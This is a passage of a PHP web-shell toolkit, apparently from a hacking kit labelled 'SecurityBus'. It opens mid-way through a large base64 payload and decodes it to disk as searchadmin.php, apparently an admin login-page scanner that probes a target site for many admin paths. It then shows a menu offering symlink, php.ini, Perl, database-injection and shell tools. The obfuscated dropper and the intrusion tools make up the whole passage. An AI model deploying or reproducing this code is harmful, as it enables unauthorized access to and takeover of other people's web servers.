0dllXUnRhVzR1Y0dod0RRcGhaRzFwYmw5aGNtVmhMMnh2WjJsdUxtaDBiV3dOQ21Ga2JXbHVYMkZ5WldFdmFXNWtaWGd1YUhSdGJBMEtZV1J0YVc1amNDOXBibVJsZUM1aGMzQU5DbUZrYldsdVkzQXZiRzluYVc0dVlYTndEUXBoWkcxcGJtTndMMmx1WkdWNExtaDBiV3dOQ25kbFltRmtiV2x1TDJsdVpHVjRMbWgwYld3TkNuZGxZbUZrYldsdUwyRmtiV2x1TG1oMGJXd05DbmRsWW1Ga2JXbHVMMnh2WjJsdUxtaDBiV3dOQ21Ga2JXbHVMMkZrYldsdVgyeHZaMmx1TG1oMGJXd05DbUZrYldsdVgyeHZaMmx1TG1oMGJXd05DbkJoYm1Wc0xXRmtiV2x1YVhOMGNtRmphVzl1TDJ4dloybHVMbWgwYld3TkNtNXpkeTloWkcxcGJpOXNiMmRwYmk1d2FIQU5DbmRsWW1Ga2JXbHVMMnh2WjJsdUxuQm9jQTBLWVdSdGFXNHZZV1J0YVc1ZmJHOW5hVzR1Y0dod0RRcGhaRzFwYmw5c2IyZHBiaTV3YUhBTkNtRmtiV2x1WDJGeVpXRXZZV1J0YVc0dWFIUnRiQTBLY0dGblpYTXZZV1J0YVc0dllXUnRhVzR0Ykc5bmFXNHVjR2h3RFFwaFpHMXBiaTloWkcxcGJpMXNiMmRwYmk1d2FIQU5DbUZrYldsdUxXeHZaMmx1TG5Cb2NBMEtZbUl0WVdSdGFXNHZhVzVrWlhndWFIUnRiQTBLWW1JdFlXUnRhVzR2Ykc5bmFXNHVhSFJ0YkEwS1ltSXRZV1J0YVc0dllXUnRhVzR1YUhSdGJBMEtZV1J0YVc0dmFHOXRaUzVvZEcxc0RRcHdZV2RsY3k5aFpHMXBiaTloWkcxcGJpMXNiMmRwYmk1b2RHMXNEUXBoWkcxcGJpOWhaRzFwYmkxc2IyZHBiaTVvZEcxc0RRcGhaRzFwYmkxc2IyZHBiaTVvZEcxc0RRcGhaRzFwYmk5aFpHMXBia3h2WjJsdUxtaDBiV3dOQ21Ga2JXbHVURzluYVc0dWFIUnRiQTBLYUc5dFpTNW9kRzFzRFFweVkycGhhMkZ5TDJGa2JXbHVMMnh2WjJsdUxuQm9jQTBLWVdSdGFXNWhjbVZoTDJsdVpHVjRMbWgwYld3TkNtRmtiV2x1WVhKbFlTOWhaRzFwYmk1b2RHMXNEUXAzWldKaFpHMXBiaTlwYm1SbGVDNXdhSEFOQ25kbFltRmtiV2x1TDJGa2JXbHVMbkJvY0EwS2RYTmxjaTVvZEcxc0RRcHRiMlJsYkhObFlYSmphQzlzYjJkcGJpNW9kRzFzRFFwaFpHMXBibUZ5WldFdmJHOW5hVzR1YUhSdGJBMEtjR0Z1Wld3dFlXUnRhVzVwYzNSeVlXTnBiMjR2YVc1a1pYZ3VhSFJ0YkEwS2NHRnVaV3d0WVdSdGFXNXBjM1J5WVdOcGIyNHZZV1J0YVc0dWFIUnRiQTBLYlc5a1pXeHpaV0Z5WTJndmFXNWtaWGd1YUhSdGJBMEtiVzlrWld4elpXRnlZMmd2WVdSdGFXNHVhSFJ0YkEwS1lXUnRhVzVqYjI1MGNtOXNMMnh2WjJsdUxtaDBiV3dOQ21Ga2JTOXBibVJsZUM1b2RHMXNEUXBoWkcwdWFIUnRiQTBLZFhObGNpNXdhSEFOQ25CaGJtVnNMV0ZrYldsdWFYTjBjbUZqYVc5dUwyeHZaMmx1TG5Cb2NBMEtkM0F0Ykc5bmFXNHVjR2h3RFFwaFpHMXBia3h2WjJsdUxuQm9jQTBLWVdSdGFXNHZZV1J0YVc1TWIyZHBiaTV3YUhBTkNtaHZiV1V1Y0dod0RRcGhaRzFwYm1GeVpXRXZhVzVrWlhndWNHaHdEUXBoWkcxcGJtRnlaV0V2WVdSdGFXNHVjR2h3RFFwaFpHMXBibUZ5WldFdmJHOW5hVzR1Y0dod0RRcHdZVzVsYkMxaFpHMXBibWx6ZEhKaFkybHZiaTlwYm1SbGVDNXdhSEFOQ25CaGJtVnNMV0ZrYldsdWFYTjBjbUZqYVc5dUwyRmtiV2x1TG5Cb2NBMEtiVzlrWld4elpXRnlZMmd2YVc1a1pYZ3VjR2h3RFFwdGIyUmxiSE5sWVhKamFDOWhaRzFwYmk1d2FIQU5DbUZrYldsdVkyOXVkSEp2YkM5c2IyZHBiaTV3YUhBTkNtRmtiUzloWkcxc2IyZHBiblZ6WlhJdWNHaHdEUXBoWkcxc2IyZHBiblZ6WlhJdWNHaHdEUXBoWkcxcGJqSXZiRzluYVc0dWNHaHdEUXBoWkcxcGJqSXZhVzVrWlhndWNHaHdEUXBoWkcwdmFXNWtaWGd1Y0dod0RRcGhaRzB1Y0dod0RRcGhabVpwYkdsaGRHVXVjR2h3RFFwaFpHMWZZWFYwYUM1d2FIQU5DbTFsYldKbGNtRmtiV2x1TG5Cb2NBMEtZV1J0YVc1cGMzUnlZWFJ2Y214dloybHVMbkJvY0EwS1lXUnRhVzR2WVdSdGFXNHVZWE53RFFwaFpHMXBibDloY21WaEwyRmtiV2x1TG1GemNBMEtZV1J0YVc1ZllYSmxZUzlzYjJkcGJpNWhjM0FOQ21Ga2JXbHVYMkZ5WldFdmFXNWtaWGd1WVhOd0RRcGlZaTFoWkcxcGJpOXBibVJsZUM1aGMzQU5DbUppTFdGa2JXbHVMMnh2WjJsdUxtRnpjQTBLWW1JdFlXUnRhVzR2WVdSdGFXNHVZWE53RFFwd1lXZGxjeTloWkcxcGJpOWhaRzFwYmkxc2IyZHBiaTVoYzNBTkNtRmtiV2x1TDJGa2JXbHVMV3h2WjJsdUxtRnpjQTBLWVdSdGFXNHRiRzluYVc0dVlYTndEUXAxYzJWeUxtRnpjQTBLZDJWaVlXUnRhVzR2YVc1a1pYZ3VZWE53RFFwM1pXSmhaRzFwYmk5aFpHMXBiaTVoYzNBTkNuZGxZbUZrYldsdUwyeHZaMmx1TG1GemNBMEtZV1J0YVc0dllXUnRhVzVmYkc5bmFXNHVZWE53RFFwaFpHMXBibDlzYjJkcGJpNWhjM0FOQ25CaGJtVnNMV0ZrYldsdWFYTjBjbUZqYVc5dUwyeHZaMmx1TG1GemNBMEtZV1J0YVc1TWIyZHBiaTVoYzNBTkNtRmtiV2x1TDJGa2JXbHVURzluYVc0dVlYTndEUXBvYjIxbExtRnpjQTBLWVdSdGFXNWhjbVZoTDJsdVpHVjRMbUZ6Y0EwS1lXUnRhVzVoY21WaEwyRmtiV2x1TG1GemNBMEtZV1J0YVc1aGNtVmhMMnh2WjJsdUxtRnpjQTBLY0dGdVpXd3RZV1J0YVc1cGMzUnlZV05wYjI0dmFXNWtaWGd1WVhOd0RRcHdZVzVsYkMxaFpHMXBibWx6ZEhKaFkybHZiaTloWkcxcGJpNWhjM0FOQ20xdlpHVnNjMlZoY21Ob0wybHVaR1Y0TG1GemNBMEtiVzlrWld4elpXRnlZMmd2WVdSdGFXNHVZWE53RFFwaFpHMXBibU52Ym5SeWIyd3ZiRzluYVc0dVlYTndEUXBoWkcwdllXUnRiRzluYVc1MWMyVnlMbUZ6Y0EwS1lXUnRiRzluYVc1MWMyVnlMbUZ6Y0EwS1lXUnRhVzR5TDJ4dloybHVMbUZ6Y0EwS1lXUnRhVzR5TDJsdVpHVjRMbUZ6Y0EwS1lXUnRMMmx1WkdWNExtRnpjQTBLWVdSdExtRnpjQTBLWVdabWFXeHBZWFJsTG1GemNBMEtZV1J0WDJGMWRHZ3VZWE53RFFwdFpXMWlaWEpoWkcxcGJpNWhjM0FOQ21Ga2JXbHVhWE4wY21GMGIzSnNiMmRwYmk1aGMzQU5Dbk5wZEdWaFpHMXBiaTlzYjJkcGJpNWhjM0FOQ25OcGRHVmhaRzFwYmk5cGJtUmxlQzVoYzNBTkNrRkVUVWxPTHcwS2NHRnVaV3hrWldOdmJuUnliMnd2RFFwc2IyZHBiaThOQ21OdGN5OE5DbUZrYlc5dUx3MEtRVVJOVDA0dkRRcGhaRzFwYm1semRISmhaRzl5THcwS1FVUk5TVTR2Ykc5bmFXNHVjR2h3RFFwd1lXNWxiR012RFFwQlJFMUpUaTlzYjJkcGJpNW9kRzFzSWpzTkNtWjFibU4wYVc5dUlIUmxiWEJzWVhSbEtDa2dldzBLWldOb2J5QW5EUW84SVVSUFExUlpVRVVnYUhSdGJDQlFWVUpNU1VNZ0lpMHZMMWN6UXk4dlJGUkVJRmhJVkUxTUlERXVNQ0JVY21GdWMybDBhVzl1WVd3dkwwVk9JaUFpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2VkZJdmVHaDBiV3d4TDBSVVJDOTRhSFJ0YkRFdGRISmhibk5wZEdsdmJtRnNMbVIwWkNJK0RRbzhhSFJ0YkNCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TVRrNU9TOTRhSFJ0YkNJK0RRbzhhR1ZoWkQ0TkNqeHRaWFJoSUdoMGRIQXRaWEYxYVhZOUlrTnZiblJsYm5RdFZIbHdaU0lnWTI5dWRHVnVkRDBpZEdWNGRDOW9kRzFzT3lCamFHRnljMlYwUFhWMFppMDRJaUF2UGcwS1BIUnBkR3hsUGlCVFpXTjFjbWwwZVVKMWN5QThMM1JwZEd4bFBnMEtQSE4wZVd4bElIUjVjR1U5SW5SbGVIUXZZM056SWo0TkNtSnZaSGw3RFFvSlltRmphMmR5YjNWdVpEb2dJekF3TURzTkNnbHRZWEpuYVc0NklEQTdEUW9KY0dGa1pHbHVaem9nTURzTkNnbHdZV1JrYVc1bkxYUnZjRG9nTVRCd2VEc05DZ2xqYjJ4dmNqb2dJMFpHUmpzTkNnbG1iMjUwTFdaaGJXbHNlVG9nUTJGc2FXSnlhVHNOQ2dsbWIyNTBMWE5wZW1VNklERXpjSGc3RFFwOURRcGhldzBLQ1dOdmJHOXlPaUFqUmtaR093MEtDWFJsZUhRdFpHVmpiM0poZEdsdmJqb2dibTl1WlRzTkNnbG1iMjUwTFhkbGFXZG9kRG9nWW05c1pEc05DbjBOQ2k1M2NtRndjR1Z5ZXcwS0NYZHBaSFJvT2lBeE1EQXdjSGc3RFFvSmJXRnlaMmx1T2lBd0lHRjFkRzg3RFFwOURRb3VkSFZpWlhzTkNnbHdZV1JrYVc1bk9pQXhNSEI0T3cwS2ZRMEtMbkpsWkhzTkNnbDNhV1IwYURvZ09UazRjSGc3RFFvSlltOXlaR1Z5T2lBeGNIZ2djMjlzYVdRZ0kyVTFNakl5TkRzTkNnbGlZV05yWjNKdmRXNWtPaUFqTVRreE9URTVPdzBLQ1dOdmJHOXlPaUFqWlRVeU1qSTBEUXA5RFFvdWNtVmtJR2x1Y0hWMGV3MEtDV0poWTJ0bmNtOTFibVE2SUNNd01EQTdEUW9KWW05eVpHVnlPaUF4Y0hnZ2MyOXNhV1FnSTJVMU1qSXlORHNOQ2dsamIyeHZjam9nSTBaR1Jqc05DbjBOQ2k1aWJIVmxldzBLQ1dac2IyRjBPaUJzWldaME93MEtDWGRwWkhSb09pQXhNREF3Y0hnN0RRb0pZbTl5WkdWeU9pQXhjSGdnYzI5c2FXUWdJekZrTjJaak16c05DZ2xpWVdOclozSnZkVzVrT2lBak1Ua3hPVEU1T3cwS0NXTnZiRzl5T2lBak1XUTNabU16T3cwS2ZRMEtMbWR5WldWdWV3MEtDV1pzYjJGME9pQnNaV1owT3cwS0NYZHBaSFJvT2lBeE1EQXdjSGc3RFFvSlltOXlaR1Z5T2lBeGNIZ2djMjlzYVdRZ0l6Vm1aRFF4T1RzTkNnbGlZV05yWjNKdmRXNWtPaUFqTVRreE9URTVPdzBLQ1dOdmJHOXlPaUFqTldaa05ERTVPdzBLZlEwS1BDOXpkSGxzWlQ0TkNqeHpZM0pwY0hRZ2RIbHdaVDBpZEdWNGRDOXFZWFpoYzJOeWFYQjBJajROQ2p3aExTME5DbVoxYm1OMGFXOXVJR2x1YzJWeWRHTnZaR1VvSkhSbGVIUXNJQ1J3YkdGalpTd2dKSEpsY0d4aFkyVXBEUXA3RFFvSmRtRnlJQ1IwYUdseklEMGdKSFJsZUhRN0RRb0pkbUZ5SUd4dloySnZlQ0E5SUdSdlkzVnRaVzUwTG1kbGRFVnNaVzFsYm5SQ2VVbGtLQ1J3YkdGalpTazdEUW9KYVdZb0pISmxjR3hoWTJVZ1BUMGdNQ2tOQ2drSlpHOWpkVzFsYm5RdVoyVjBSV3hsYldWdWRFSjVTV1FvSkhCc1lXTmxLUzVwYm01bGNraFVUVXdnUFNCc2IyZGliM2d1YVc1dVpYSklWRTFNS3lSMGFHbHpPdzBLQ1dWc2MyVU5DZ2tKWkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEVKNVNXUW9KSEJzWVdObEtTNXBibTVsY2toVVRVd2dQU0FrZEdocGN6c05DaTh2Wkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEVKNVNXUW9JbWhsYkhCaWIzZ2lLUzVwYm01bGNraFVUVXdnUFNBa2RHaHBjenNOQ24wTkNpMHRQZzBLUEM5elkzSnBjSFErRFFvOEwyaGxZV1ErRFFvOFltOWtlVDROQ2p4aWNpQXZQZzBLUEdKeUlDOCtEUW84WkdsMklHTnNZWE56UFNKM2NtRndjR1Z5SWo0TkNqeGthWFlnWTJ4aGMzTTlJbkpsWkNJK0RRbzhaR2wySUdOc1lYTnpQU0owZFdKbElqNE5DanhtYjNKdElHRmpkR2x2YmowaUlpQnRaWFJvYjJROUluQnZjM1FpSUc1aGJXVTlJbmh3Ykc5cGRGOW1iM0p0SWo0TkNsVlNURG84WW5JZ0x6NDhhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdibUZ0WlQwaWVIQnNiMmwwWDNWeWJDSWdkbUZzZFdVOUlpY3VKRjlRVDFOVVd5ZDRjR3h2YVhSZmRYSnNKMTB1SnlJZ2MzUjViR1U5SW5kcFpIUm9PaUF4TURBbE95SWdMejQ4WW5JZ0x6NDhZbklnTHo0TkNqUXdOSE4wY21sdVp6bzhZbklnTHo0OGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2JtRnRaVDBpZUhCc2IybDBYelF3TkhOMGNtbHVaeUlnZG1Gc2RXVTlJaWN1SkY5UVQxTlVXeWQ0Y0d4dmFYUmZOREEwYzNSeWFXNW5KMTB1SnlJZ2MzUjViR1U5SW5kcFpIUm9PaUF4TURBbE95SWdMejQ4WW5JZ0x6NDhZbklnTHo0TkNqeHpjR0Z1SUhOMGVXeGxQU0ptYkc5aGREb2djbWxuYUhRN0lqNDhhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJ1WVcxbFBTSjRjR3h2YVhSZmMzVmliV2wwSWlCMllXeDFaVDBpUTBWU1EwRWlJR0ZzYVdkdVBTSnlhV2RvZENJZ0x6NDhMM053WVc0K0RRbzhMMlp2Y20wK0RRbzhZbklnTHo0TkNqd3ZaR2wyUGlBOElTMHRJQzkwZFdKbElDMHRQZzBLUEM5a2FYWStJRHdoTFMwZ0wzSmxaQ0F0TFQ0TkNqeGljaUF2UGcwS1BHUnBkaUJqYkdGemN6MGlaM0psWlc0aVBnMEtQR1JwZGlCamJHRnpjejBpZEhWaVpTSWdhV1E5SW5KcFoyaDBZMjlzSWo0TkNsWmxjbWxtYVdOaGRHazZJRHh6Y0dGdUlHbGtQU0oyWlhKcFptbGxaQ0krTUR3dmMzQmhiajRnTHlBOGMzQmhiaUJwWkQwaWRHOTBZV3dpUGpBOEwzTndZVzQrUEdKeUlDOCtEUXBVY205MllYUnBPanhpY2lBdlBnMEtQQzlrYVhZK0lEd2hMUzBnTDNSMVltVWdMUzArRFFvOEwyUnBkajRnUENFdExTQXZaM0psWlc0Z0xTMCtEUW84WW5JZ1kyeGxZWEk5SW1Gc2JDSWdMejQ4WW5JZ0x6NE5DanhrYVhZZ1kyeGhjM005SW1Kc2RXVWlQZzBLUEdScGRpQmpiR0Z6Y3owaWRIVmlaU0lnYVdROUlteHZaMkp2ZUNJK0RRbzhZbklnTHo0TkNqeGljaUF2UGcwS1UyVmpkWEpwZEhsQ2RYTWdQR0p5SUM4K0RRbzhMMlJwZGo0Z1BDRXRMU0F2ZEhWaVpTQXRMVDROQ2p3dlpHbDJQaUE4SVMwdElDOWliSFZsSUMwdFBnMEtQQzlrYVhZK0lEd2hMUzBnTDNkeVlYQndaWElnTFMwK0RRbzhZbklnWTJ4bFlYSTlJbUZzYkNJK0p6c05DbjBOQ21aMWJtTjBhVzl1SUhOb2IzY29KRzF6Wnl3Z0pHSnlQVEVzSUNSemRHOXdQVEFzSUNSd2JHRmpaVDBuYkc5blltOTRKeXdnSkhKbGNHeGhZMlU5TUNrZ2V3MEtDV2xtS0NSaWNpQTlQU0F4S1NBa2JYTm5JQzQ5SUNJOFluSWdMejRpT3cwS0NXVmphRzhnSWp4elkzSnBjSFFnZEhsd1pUMWNJblJsZUhRdmFtRjJZWE5qY21sd2RGd2lQbWx1YzJWeWRHTnZaR1VvSnlJdUpHMXpaeTRpSnl3Z0p5SXVKSEJzWVdObExpSW5MQ0FuSWk0a2NtVndiR0ZqWlM0aUp5azdQQzl6WTNKcGNIUStJanNOQ2dscFppZ2tjM1J2Y0NBOVBTQXhLU0JsZUdsME93MEtDVUJtYkhWemFDZ3BPMEJ2WWw5bWJIVnphQ2dwT3cwS2ZRMEtablZ1WTNScGIyNGdZMmhsWTJzb0pIZ3NJQ1JtY205dWREMHdLU0I3RFFvSloyeHZZbUZzSUNSZlVFOVRWQ3drYzJsMFpTd2tabUZzYzJVN0RRb0phV1lvSkdaeWIyNTBJRDA5SURBcElDUjBJRDBnSkhOcGRHVXVKSGc3RFFvSlpXeHpaU0FrZENBOUlDZG9kSFJ3T2k4dkp5NGtlQzRuTGljdUpITnBkR1V1Snk4bk93MEtDU1JvWldGa1pYSnpJRDBnWjJWMFgyaGxZV1JsY25Nb0pIUXBPdzBLQ1dsbUlDZ2haWEpsWjJrb0p6SXdNQ2NzSUNSb1pXRmtaWEp6V3pCZEtTa2djbVYwZFhKdUlEQTdEUW9KSkdSaGRHRWdQU0JBWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkhRcE93MEtDV2xtS0NSZlVFOVRWRnNuZUhCc2IybDBYelF3TkhOMGNtbHVaeWRkSUQwOUlDSWlLU0JwWmlna1pHRjBZU0E5UFNBa1ptRnNjMlVwSUhKbGRIVnliaUF3T3cwS0NXbG1LQ1JmVUU5VFZGc25lSEJzYjJsMFh6UXdOSE4wY21sdVp5ZGRJQ0U5SUNJaUtTQnBaaWh6ZEhKd2IzTW9KR1JoZEdFc0lDUmZVRTlUVkZzbmVIQnNiMmwwWHpRd05ITjBjbWx1WnlkZEtTa2djbVYwZFhKdUlEQTdEUW9KY21WMGRYSnVJREU3RFFwOURRb0pEUW92THlBdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRMEtkR1Z0Y0d4aGRHVW9LVHNOQ21sbUtDRnBjM05sZENna1gxQlBVMVJiSjNod2JHOXBkRjkxY213blhTa3BJR1JwWlRzTkNtbG1LQ1JmVUU5VFZGc25lSEJzYjJsMFgzVnliQ2RkSUQwOUlDY25LU0JrYVdVN0RRb2tjMmwwWlNBOUlDUmZVRTlUVkZzbmVIQnNiMmwwWDNWeWJDZGRPdzBLYVdZZ0tDUnphWFJsVzNOMGNteGxiaWdrYzJsMFpTa3RNVjBnSVQwZ0lpOGlLU0FrYzJsMFpTQXVQU0FpTHlJN0RRcHBaaWdrWDFCUFUxUmJKM2h3Ykc5cGRGODBNRFJ6ZEhKcGJtY25YU0E5UFNBaUlpa2dKR1poYkhObElEMGdRR1pwYkdWZloyVjBYMk52Ym5SbGJuUnpLQ1J6YVhSbExpSmtOalU0T1RkbU5UTTRNR0V5TVdFME1tUmlPVFJpTXpreU4ySTRNak5rTlRabFpURXdPVGxoTFhSb2FYTmZZMkZ1TFhSZlpYaHBjM1F1YUhSdGJDSXBPdzBLSkd4cGMzUmJKMlZ1WkNkZElEMGdjM1J5WDNKbGNHeGhZMlVvSWx4eUlpd2dJaUlzSUNSc2FYTjBXeWRsYm1RblhTazdEUW9rYkdsemRGc25abkp2Ym5RblhTQTlJSE4wY2w5eVpYQnNZV05sS0NKY2NpSXNJQ0lpTENBa2JHbHpkRnNuWm5KdmJuUW5YU2s3RFFva2NHRjBhR1Z6SUQwZ1pYaHdiRzlrWlNnaVhHNGlMQ0FrYkdsemRGc25aVzVrSjEwcE93MEtKR1p5YjI1MGNHRjBhR1Z6SUQwZ1pYaHdiRzlrWlNnaVhHNGlMQ0FrYkdsemRGc25abkp2Ym5RblhTazdEUXB6YUc5M0tHTnZkVzUwS0NSd1lYUm9aWE1wSzJOdmRXNTBLQ1JtY205dWRIQmhkR2hsY3lrc0lERXNJREFzSUNkMGIzUmhiQ2NzSURFcE93MEtKSFpsY21sbWFXTmhkR1VnUFNBd093MEtabTl5WldGamFDZ2tjR0YwYUdWeklHRnpJQ1J3WVhSb0tTQjdEUW9KYzJodmR5Z25RMjl1ZEhKdmJHeHZJQ2N1SkhOcGRHVXVKSEJoZEdndUp5QTZJQ2NzSURBc0lEQXNJQ2RzYjJkaWIzZ25MQ0F3S1RzTkNna2tkbVZ5YVdacFkyRjBaU3NyT3lCemFHOTNLQ1IyWlhKcFptbGpZWFJsTENBd0xDQXdMQ0FuZG1WeWFXWnBaV1FuTENBeEtUc05DZ2xwWmloamFHVmpheWdrY0dGMGFDa2dQVDBnTUNrZ2MyaHZkeWduYm05dUlIUnliM1poZEc4bkxDQXhMQ0F3TENBbmJHOW5ZbTk0Snl3Z01DazdEUW9KWld4elpYc05DZ2tKYzJodmR5Z25QSE53WVc0Z2MzUjViR1U5SW1OdmJHOXlPaUFqTURCR1JqQXdPeUkrUEhOMGNtOXVaejVVY205MllYUnZQQzl6ZEhKdmJtYytQQzl6Y0dGdVBpY3NJREVzSURBc0lDZHNiMmRpYjNnbkxDQXdLVHNOQ2drSmMyaHZkeWduUEdFZ2FISmxaajBpSnk0a2MybDBaUzRrY0dGMGFDNG5JajRuTGlSemFYUmxMaVJ3WVhSb0xpYzhMMkUrSnl3Z01Td2dNQ3dnSjNKcFoyaDBZMjlzSnl3Z01DazdEUW9KZlEwS2ZRMEtjSEpsWjE5dFlYUmphQ2dpTDF3dlhDOG9MaW8vS1Z3dkwya2lMQ0FrYzJsMFpTd2dKSGg0S1RzZ0pITnBkR1VnUFNBa2VIaGJNVjA3RFFwcFppaHpkV0p6ZEhJb0pITnBkR1VzSURBc0lETXBJRDA5SUNKM2QzY2lLU0FrYzJsMFpTQTlJSE4xWW5OMGNpZ2tjMmwwWlN3Z05DazdEUXBtYjNKbFlXTm9LQ1JtY205dWRIQmhkR2hsY3lCaGN5QWtabkp2Ym5Sd1lYUm9LU0I3RFFvSmMyaHZkeWduUTI5dWRISnZiR3h2SUdoMGRIQTZMeThuTGlSbWNtOXVkSEJoZEdndUp5NG5MaVJ6YVhSbExpY3ZJRG9nSnl3Z01Dd2dNQ3dnSjJ4dloySnZlQ2NzSURBcE93MEtDU1IyWlhKcFptbGpZWFJsS3lzN0lITm9iM2NvSkhabGNtbG1hV05oZEdVc0lEQXNJREFzSUNkMlpYSnBabWxsWkNjc0lERXBPdzBLQ1dsbUtHTm9aV05yS0NSbWNtOXVkSEJoZEdnc0lERXBJRDA5SURBcElITm9iM2NvSjI1dmJpQjBjbTkyWVhSdkp5d2dNU3dnTUN3Z0oyeHZaMkp2ZUNjc0lEQXBPdzBLQ1dWc2MyVjdEUW9KQ1hOb2IzY29Kenh6Y0dGdUlITjBlV3hsUFNKamIyeHZjam9nSXpBd1JrWXdNRHNpUGp4emRISnZibWMrVkhKdmRtRjBiend2YzNSeWIyNW5Qand2YzNCaGJqNG5MQ0F4TENBd0xDQW5iRzluWW05NEp5d2dNQ2s3RFFvSkNYTm9iM2NvSnp4aElHaHlaV1k5SW1oMGRIQTZMeThuTGlSbWNtOXVkSEJoZEdndUp5NG5MaVJ6YVhSbExpY3ZJajRuTGlSbWNtOXVkSEJoZEdndUp5NG5MaVJ6YVhSbExpYzhMMkUrSnl3Z01Td2dNQ3dnSjNKcFoyaDBZMjlzSnl3Z01DazdEUW9KZlEwS0NRMEtmUT09JykpOyA/Pg0K';
file_put_contents('searchadmin.php',base64_decode($searchadmin));;
echo "<a href='./tools/searchadmin.php'>Here searchadmin.php</a><br>";
}else{
echo "
<form method='POST'>
please select tool :
<select name='tool'>
<option value='sym'>sym</option>
<option value='tools'>tools</option>
<option value='phpini'>php.ini</option>
<option value='perl'>security.bus</option>
<option value='inject'>Inject Database</option>
<option value='Shells'>Shells</option>
</select>
<input type='submit' name='sub' value='Go' />
</form>
";
}
?>